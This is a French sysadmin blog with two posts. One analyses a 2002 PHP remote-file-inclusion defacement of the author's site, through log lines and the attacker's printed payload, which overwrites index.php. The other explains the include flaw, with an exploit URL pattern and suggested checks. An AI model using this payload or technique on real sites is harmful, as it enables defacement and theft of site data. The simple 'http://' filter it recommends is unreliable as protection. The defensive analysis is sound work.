Analyse d'un hacking

Jerome ROBERT — 2009-04-22T14:53:08Z

Analyse d'un hacking ...

Analyse de votre fichier de log de votre serveur WEB:

grep 'file=http' access_log #nom de votre fichier de log

#2.147.105.2#8 - - [31/Dec/2002:14:11:18 +0100] "GET /linux/index.php?file=http://#####.sui#zer0.###/hack HTTP/1.1" 200 1430 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

#2.147.105.2#8 - - [31/Dec/2002:14:11:30 +0100] "GET / HTTP/1.1" 200 3869 "http://www.admin-sys.com/linux/index.php?file=http://#####.sui#zer0.###/hack" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

Les # sont la pour respecter le hackeur ....

Analyse du résultat:

Nous avons @IP de la machine qui a servi a faire le hack: #2.147.105.2#8

Nous avons le site qui a aider a faire le hack: http://#####.sui#zer0.###/

Avec #2.147.105.2#8 et les outils qui se trouvent dans « http//:www.admin-sys.com/reseaux/outils/ » Et en choisissent « Qui est le propriétaire de cette Adresse IP » Cela va vous permet de trouver le propriétaire de l'adresse IP donc le « provider » ( free, aol, ... ), avec l'heure, il est possible de contacter le responsable technique ,pour que ce dernier recherche dans ces logs des compléments informations qui seront utiles lors de la procédure judiciaires. ( s'il y a eu de gros problèmes ...)

Avec http://#####.sui#zer0.###/ il est possible de connaître le responsable de ce domaine et demander des comptes sur l'un de ces comptes, car le site à pu être aussi pirater ...

Attention:

On peut obtenir beaucoup d'information, mais on ne sais pas si c'est vraiment le hackeur ou un pigeon (victime d'un piratage).... Surtout s'il vient d'une machine WINDOWS ....

Soyez très prudent est regarder vos LOGs .....

Voici les sources dans fichier de HACK ...

"; $f = fopen("index.php", "w"); echo "Ouvert...
"; $data = "

 __ __ _______ ______ __ __ _______ _____ ____ __ __ / / / / / ___ / / ____/ / / / / / _____/ / ___ \ / __ \ | | / / / /__/ / / /__/ / / / / /__/ / / /___ / / / / / /_/ / | |/ / / ___ / / ___ / / / / ___ < / ____/ / / / / / __ < | / / / / / / / / / / /___ / / | | / /____ / /__/ / / /_/ / / / /_/ /_/ /_/ /_/ /_____/ /_/ |_| /______/ /______/ /_____/ /_/

#

Ce site n'est pas mal, sauf une ch'tite faille de sécurité à boucher...

Monsieur l'admin, voyez le mail que je vous ai envoyé pour les détails et la correction de la faille...

Sur ce, faites tous attention à la sécurité de vos serveurs et de vos réseaux, car il y aura toujours un hacker
pour trouver les failles de vos bécanes, et certains n'ont pas des intentions aussi bienvéillantes que les miennes ;)
On dit merci qui ? merci e ! ;o)

Par ici l'entrée... et bonne année !

e - le 31/12/2002 (oui je sais mon ASCII il est moche...)

"; echo "Pret à ecrire...
"; fputs($f, $data); echo "Ecrit...
"; fclose($f); echo "H@cked by e
"; ?>

faille include

Jerome ROBERT — 2009-04-22T14:52:19Z

auteur : e

Et si votre site contenait une grosse faille de sécurité : la faille include de php ????

Si vous avez des liens du type :

http://www.site.com/linux/index.php?file=intro.php

Alors pas problème ...

Le problème est qu'il n'y a peut
être pas de vérification sur $page avant l'include...

donc si on fait
http://www.site.com/linux/index.php?file=http://mon_site/hack

et si le fichier hack sur mon site
contient du code comme :

< ?php

$f=fopen("index.php", "w") ;

...

On est capable d'écrire sur
l'index...

Pour boucher cette faille, il fait
faire des tests sur $page.

Si vous n'incluez que des fichiers php,
vous pouvez faire include($page.".php") comme ça les
liens seront :

http://www.site.com/linux/index.php?file=intro

Dans tous les cas, il faut ABSOLUMENT
refuser les $page contenant "http://" ou "www"
!!!! pour éviter l'include à distance.

Il existe bien d'autres méthodes
de protection, je vous revoie sur internet, recherchez "faille
include php protection" dans google...

Cette faille est très sensible,
car on peut accéder à toutes les sources de vos
fichiers et y pécher des informations sensibles comme vos mots
de passe mysql par exemple, ou obtenir TOUTE votre base de donnée,
donc sur un site marchand toutes les informations des personnes
enregistrées (login, mot de passe, email, etc...).

Un exemple de teste a faire avant
d'effectuer un include :

if (strstr($file, "http://"))
$file="index.php" ;

Bienvenue sur le site admin-sys